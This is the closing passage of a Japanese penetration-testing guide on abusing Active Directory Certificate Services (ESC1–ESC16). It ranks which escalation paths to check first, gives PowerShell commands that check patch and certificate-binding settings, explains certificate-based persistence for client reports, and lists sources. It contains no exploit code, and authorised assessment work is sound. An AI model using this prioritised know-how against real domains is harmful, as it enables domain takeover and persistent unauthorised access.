- ESC1:最も発見頻度が高く、即時DA昇格が可能。常に最初に確認
-
ESC8:
/certsrv/が存在する環境では確認必須。PetitPotamと組み合わせが強力 - ESC4:テンプレートへの書き込み権限がある場合
- ESC6:ESC1以前の旧環境やADCS移行途中で残存
- ESC9/ESC10:StrongCertificateBindingEnforcementの設定に依存
(3)パッチ適用状況の確認
# KB5014754(2022年5月・SID拡張導入)の適用確認
Get-HotFix -Id KB5014754
# StrongCertificateBindingEnforcementの確認
Get-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Services\Kdc' `
-Name StrongCertificateBindingEnforcement -ErrorAction SilentlyContinue
# → 2が理想(Full Enforcement)
(4)証明書ベースの永続化リスクを説明する
報告書作成時には「パスワード変更後も証明書が有効」という点を顧客に強調することが重要です。証明書の有効期限が切れるまで攻撃者は再侵入できる可能性があります[1]。
"Certificate-based backdoors survive password changes and account modifications, making them perfect for long-term access."
— xbz0n.sh [1]
https://xbz0n.sh/blog/adcs-complete-attack-reference
参考文献
[1] xbz0n.sh. "Breaking ADCS: ESC1 to ESC16 Attack Techniques." June 3, 2025.
https://xbz0n.sh/blog/adcs-complete-attack-reference
[2] Cato Networks (Ofek Vardi). "Cato CTRL™ Threat Research: Preventing Privilege Escalation via Active Directory Certificate Services (ADCS)." October 30, 2025.
https://www.catonetworks.com/blog/cato-ctrl-preventing-privilege-escalation-via-active-directory-certificate-services-adcs/
[3] Hive Security. "ADCS Abuse with Certipy: From Low-Priv User to Domain Admin via Certificate Services." May 7, 2026.
https://hivesecurity.gitlab.io/blog/adcs-abuse-certipy-esc1-esc8-attack-chains/
[4] Oliver Lyak (ly4k). "Certipy Wiki — 06 ‐ Privilege Escalation (ESC1–ESC16)." GitHub, May 14, 2025.
https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation
[5] Semperis. "ESC1 Attack Explained." January 8, 2026.
https://www.semperis.com/blog/esc1-attack-explained/
[6] vaadata.com. "AD CS Security: Understanding and Exploiting ESC Techniques." April 10, 2026.
https://www.vaadata.com/en/blog/ad-cs-security-understanding-and-exploiting-esc-techniques/
[7] offsecdeer. "ADCS Exploitation Part 1: Common Attacks." Medium, August 4, 2024.
https://medium.com/@offsecdeer/adcs-exploitation-part-1-common-attacks-b7ae62519828
[8] Munib Nawaz (Furious5). "AD CS ESC16: Misconfiguration and Exploitation." Medium, November 2, 2025.
https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6
[9] Oliver Lyak (ly4k). "Certipy Wiki — 03 ‐ Resources." GitHub.
https://github.com/ly4k/Certipy/wiki/03-%E2%80%90-Resources
[10] The Hacker Recipes. "Certificate Templates — ADCS." June 2026.
https://www.thehacker.recipes/ad/movement/adcs/certificate-templates
[11] Victor Abiodun. "Attacking Active Directory Certificate Services: A Complete Guide to ESC Misconfigurations." Medium, May 2026.
https://medium.com/@3xploit/attacking-active-directory-certificate-services-a-complete-guide-to-esc-misconfigurations-4b1ecb75c54b
[12] Will Schroeder / Lee Christensen (SpecterOps). "Certified Pre-Owned: Abusing Active Directory Certificate Services." 2021.
https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf
[13] BeyondTrust. "How to Detect ESC1 Attacks & Mitigate Vulnerabilities." June 18, 2024.
https://www.beyondtrust.com/blog/entry/esc1-attacks
[14] SwisskyRepo. "Active Directory — Certificate ESC Attacks (Internal All The Things)." June 2026.
https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adcs-esc/
[15] HideAndSec (BlWasp_). "Active Directory Certificate Services Cheatsheet."
https://hideandsec.sh/books/cheatsheets-82c/page/active-directory-certificate-services
[16] Mayfly277. "GOAD — Part 14: ADCS ESC5/7/9/10/11/13/14/15." March 9, 2025.
https://mayfly277.github.io/posts/ADCS-part14/
[17] RBT Security. "Active Directory Certificate Services (ADCS — ESC1)." March 4, 2026.
https://www.rbtsec.com/blog/active-directory-certificate-services-adcs-esc1/